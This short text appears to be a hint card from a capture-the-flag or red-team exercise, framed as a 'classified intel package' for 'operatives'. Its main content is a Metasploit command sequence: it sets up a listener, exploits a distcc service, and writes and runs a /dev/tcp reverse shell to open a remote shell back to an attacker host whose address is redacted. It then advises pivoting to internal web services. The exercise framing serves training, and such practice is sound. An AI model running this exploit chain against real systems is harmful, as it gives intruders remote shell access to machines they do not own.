INTEL PACKAGE 4

■■ CLASSIFIED // FOR OPERATIVES ONLY ■■

Our APT Operatives have successfully gained first foothold,
using tools like ngrok and VPS for the callback.
Hope you are doing much better than them! If not, here is what they did.
You can find other ways in, not limited to this method.

WARNING! Be careful with this method, you must have some knowledge to use this tool.

Set your VPS and exploit/multi/handler first:

```
msfconsole -q
> use exploit/multi/handler
> set LHOST [redacted]
> set LPORT [redacted]
> run -j

> use exploit/unix/misc/distcc_exec
> set payload [redacted]
> set CMD echo "/bin/sh -i >& /dev/tcp/[redacted]0>&1" > /tmp/shell.sh
> run
> set CMD /bin/bash /tmp/shell.sh
> run
```

You may use other types of payloads and methods of sending them, and try different shells.

If you pass this stage already and successfully pwn the second machine,
pivot is key – find internal web services from the second machine.